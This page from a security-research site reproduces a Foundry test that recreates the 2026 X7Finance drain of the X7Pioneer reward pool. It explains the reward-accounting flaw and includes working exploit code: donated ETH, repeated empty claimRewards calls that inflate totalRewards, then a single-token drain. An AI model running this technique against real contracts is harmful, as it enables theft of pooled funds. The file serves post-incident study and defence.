Public reproduction file
src/test/2026-10/X7Finance_exp.sol
Public reproduction file for dataset entry X7Finance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";6// X7 Finance (X7Pioneer NFT) - reward-accounting flaw in claimRewards() - Ethereum.7// ~6.78 ETH drained from the X7Pioneer reward pool on 2026-10-08.8//9// Attack tx : 0xc98056d6ab55ef898189da5fa1fb08b968cb84ca99528d171f8240836b21766d (block 26146922)10// Attacker EOA : 0xc79352119a7cf6efbfabbd7e6b013b79687bacf211// Attack contract (on-chain): 0xaa0cad88ac3f76beb9a0f1ba661916d7716d5f4a12// X7Pioneer : 0x70000299ee8910ccacd97b1bb560e34f49c9e4f7 (verified; vulnerable)13// Aave V3 Pool : 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2 (WETH flash loan funds the donation)14// WETH : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc215//16// ROOT CAUSE (confirmed against verified source - X7Pioneer.claimRewards, lines 1407-1432):17// function claimRewards(uint256[] memory tokenIds) public nonReentrant {18// if (lastETHBalance < address(this).balance) {19// totalRewards += (address(this).balance - lastETHBalance); // runs on EVERY call20// }21// ... loop over tokenIds builds `claimable` ...22// if (claimable > 0) {23// lastETHBalance = address(this).balance - claimable; // only updated when claimable > 024// (bool ok, ) = msg.sender.call{value: claimable}("");25// }26// }27// The accumulator totalRewards is bumped by (balance - lastETHBalance) on every entry, but lastETHBalance28// is only refreshed inside the `claimable > 0` branch. tokenIds is caller-supplied, so an empty array makes29// the loop a no-op and leaves claimable == 0. The bump therefore runs while the refresh does not, so the30// same unaccounted balance delta is re-counted into totalRewards on each empty call. Repeated empty calls31// inflate totalRewards without bound; per-token reward is totalRewards / totalSupply(), so a single owned32// NFT can then claim far more than its real share - up to the whole pool balance.33//34// Three points verified on fork (see asserts below), not assumed:35// 1. the totalRewards bump is unconditional while the lastETHBalance refresh is gated by claimable > 0;36// 2. claimRewards accepts a caller-supplied array and an empty array reaches the bump with claimable == 037// (totalRewards strictly increases across empty calls while no ETH leaves the contract);38// 3. X7Pioneer source is verified on Etherscan, so the root cause is read directly from source.39//40// MECHANISM - fully permissionless. The attacker is a plain EOA that owns one X7Pioneer NFT (id 300). The41// donation is an ordinary ETH send into the contract's receive(), the inflating calls are public claimRewards([])42// calls, and the final drain is a public claimRewards([300]). No owner / admin / role / signature step is used.43// At the parent block address(this).balance == lastETHBalance (delta 0), so the donation is what creates the44// delta that the bug then double-counts; the attacker sourced that donation with an Aave WETH flash loan and45// repaid it in the same transaction, so the net profit is the pool's pre-existing genuine reward balance.46//47// RECONSTRUCTION - fork one block before the attack (26146921) and run the real sequence with typed calls to48// the real X7Pioneer. Nothing is replayed from the attacker's calldata/bytecode:49// donate ETH to X7Pioneer -> repeat claimRewards([]) to inflate totalRewards -> claimRewards([300]) to drain50// -> repay the borrowed capital. The NFT is moved from the EOA to the attack contract with a pranked transfer51// (the EOA owns it on-chain and signed the real tx), then returned.52// On-chain the donation capital (26.963170607692677032 WETH) was raised with an Aave V3 WETH flash loan and53// repaid in the same tx. Here that capital is modeled with vm.deal (the repo's standard way of standing in for54// flash-loan principal) and the principal is paid back out of the drained ETH, so the figure asserted as55// profit is already net of the donation. A live Aave flashLoanSimple was tried first and reverted NotActivated56// on the fork (the pool implementation code is not served at this block); the drain itself does not depend on57// the loan, only on the donation being present, so the economics are unchanged.58//59// RESULT - the inflating loop lands totalRewards so that the single-token claim pays 33.756919822234785023 ETH,60// matching the on-chain RewardsClaimed amount to the wei. After repaying the 26.963170607692677032 borrowed61// principal, net profit is ~6.79 ETH. On-chain the attacker EOA balance rose by 6.777538... ETH; the small62// residual is the Aave premium (0.05%) and gas, neither of which this modeled run charges.63//64// Run: forge test --contracts src/test/2026-10/X7Finance_exp.sol -vvv66interface IX7Pioneer {67 function claimRewards(uint256[] memory tokenIds) external;68 function totalRewards() external view returns (uint256);69 function totalSupply() external view returns (uint256);70 function lastETHBalance() external view returns (uint256);71 function rewardsClaimed(uint256 tokenId) external view returns (uint256);72 function ownerOf(uint256 tokenId) external view returns (address);73 function transferFrom(address from, address to, uint256 tokenId) external;74}76contract X7FinanceExploit is Test {77 IX7Pioneer internal constant X7P = IX7Pioneer(0x70000299Ee8910cCaCD97B1bB560E34F49c9e4f7);79 address internal constant ATTACKER_EOA = 0xC79352119A7cF6EFbFaBBD7e6b013B79687BaCf2;80 address internal constant LENDER = 0x000000000000000000000000000000000000dEaD; // stands in for the flash-loan pool81 uint256 internal constant TOKEN_ID = 300;82 uint256 internal constant LOAN = 26_963_170_607_692_677_032; // capital donated, borrowed via flash loan on-chain84 uint256 internal drained; // ETH paid out by the vulnerable final claim86 function setUp() public {87 vm.createSelectFork("https://eth.drpc.org", 26_146_921);88 }90 function testExploit() public {91 // The EOA owns the NFT on-chain; move it to this attack contract exactly as the real tx did.92 vm.prank(ATTACKER_EOA);93 X7P.transferFrom(ATTACKER_EOA, address(this), TOKEN_ID);95 // Point 1 + 3: confirm the source-level invariant on real fork state before touching anything.96 assertEq(X7P.ownerOf(TOKEN_ID), address(this), "attacker must own the NFT to drain");97 assertEq(98 address(X7P).balance,99 X7P.lastETHBalance(),100 "parent block: balance == lastETHBalance, so no natural delta - the donation creates it"101 );103 emit log_named_decimal_uint("X7Pioneer ETH balance (pre)", address(X7P).balance, 18);104 emit log_named_decimal_uint("totalRewards (pre)", X7P.totalRewards(), 18);105 emit log_named_uint("totalSupply", X7P.totalSupply());107 // Flash-loan principal (26.96 WETH on-chain), modeled as ETH. Donate it into the pool to create the108 // balance delta the bug double-counts.109 vm.deal(address(this), LOAN);110 (bool sent,) = address(X7P).call{value: LOAN}("");111 require(sent, "donation failed");113 _inflateAndDrain();115 // Hand the NFT back and repay the borrowed principal, as the real tx did. What remains is net profit.116 X7P.transferFrom(address(this), ATTACKER_EOA, TOKEN_ID);117 (bool repaid,) = LENDER.call{value: LOAN}("");118 require(repaid, "repay failed");120 emit log_named_decimal_uint("claimRewards([300]) paid out", drained, 18);121 emit log_named_decimal_uint("Attacker ETH profit (net of donation)", address(this).balance, 18);123 // Final claim reproduces the on-chain RewardsClaimed amount to the wei.124 assertEq(drained, 33_756_919_822_234_785_023, "drain must equal on-chain RewardsClaimed");125 // Net profit tracks the on-chain attacker EOA delta (~6.7775 ETH); modeled figure omits the Aave premium and gas.126 assertApproxEqAbs(address(this).balance, 6.78 ether, 0.02 ether, "net profit ~6.78 ETH");127 }129 function _inflateAndDrain() internal {130 uint256 supply = X7P.totalSupply();131 uint256 poolBalance = address(X7P).balance; // L + donation, constant during empty-array calls132 uint256 alreadyClaimed = X7P.rewardsClaimed(TOKEN_ID);133 uint256 delta = poolBalance - X7P.lastETHBalance(); // totalRewards is bumped by this on every entry135 // Point 2: repeatedly re-count the same delta via empty-array calls. The paying claim bumps136 // totalRewards once more on entry, so the drain uses (totalRewards + delta). Keep going only while137 // one further empty call would still leave that drain within the pool balance - otherwise138 // lastETHBalance = balance - claimable underflows inside the contract.139 uint256 before = X7P.totalRewards();140 uint256 calls;141 while (((X7P.totalRewards() + 2 * delta) / supply) - alreadyClaimed < poolBalance) {142 uint256[] memory none = new uint256[](0);143 X7P.claimRewards(none);144 calls++;145 }146 require(X7P.totalRewards() > before, "empty calls did not inflate totalRewards");147 emit log_named_uint("empty claimRewards([]) calls", calls);148 emit log_named_decimal_uint("totalRewards (inflated)", X7P.totalRewards(), 18);150 // Drain: a single owned token now claims almost the whole pool.151 uint256 balBefore = address(this).balance;152 uint256[] memory one = new uint256[](1);153 one[0] = TOKEN_ID;154 X7P.claimRewards(one);155 drained = address(this).balance - balBefore;156 }158 receive() external payable {}159}Analysis
Dataset entry
Public Foundry test for “X7Finance” (2026-10-08). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
11 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-10/BitBay_exp.solSame month in the dataset · 200 lines
- src/test/2026-10/CrowdRingCircle_exp.solSame month in the dataset · 143 lines
- src/test/2026-10/FlashLoopAdapter_exp.solSame month in the dataset · 345 lines
- src/test/2026-10/GoldPesa_exp.solSame month in the dataset · 288 lines
- src/test/2026-10/KolanHook_exp.solSame month in the dataset · 261 lines
- src/test/2026-10/MakerDAOFlipKeeper_exp.solSame month in the dataset · 215 lines
- src/test/2026-10/MALT_exp.solSame month in the dataset · 194 lines
- src/test/2026-10/MOKE_exp.solSame month in the dataset · 142 lines
- src/test/2026-10/PerpetualProtocol_exp.solSame month in the dataset · 165 lines
- src/test/2026-10/SetProtocolETHMACOAPY_exp.solSame month in the dataset · 211 lines
- src/test/2026-10/UNCXSmartTokenVesting_exp.solSame month in the dataset · 378 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc79352119a7cf6efbfabbd7e6b013b79687bacf2
- Attack contract
0xaa0cad88ac3f76beb9a0f1ba661916d7716d5f4a
- Attack Tx
0xc98056d6ab55ef898189da5fa1fb08b968cb84ca99528d171f8240836b21766d
File record
- Name
- X7Finance
- Path
- src/test/2026-10/X7Finance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4a54ec9a35a213880d0acfee4b5176e4029a6667
- Language
- Solidity
- Size
- 160 lines
- Date
- 2026-10-08
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-10/X7Finance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4a54ec9a35a213880d0acfee4b5176e4029a6667, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.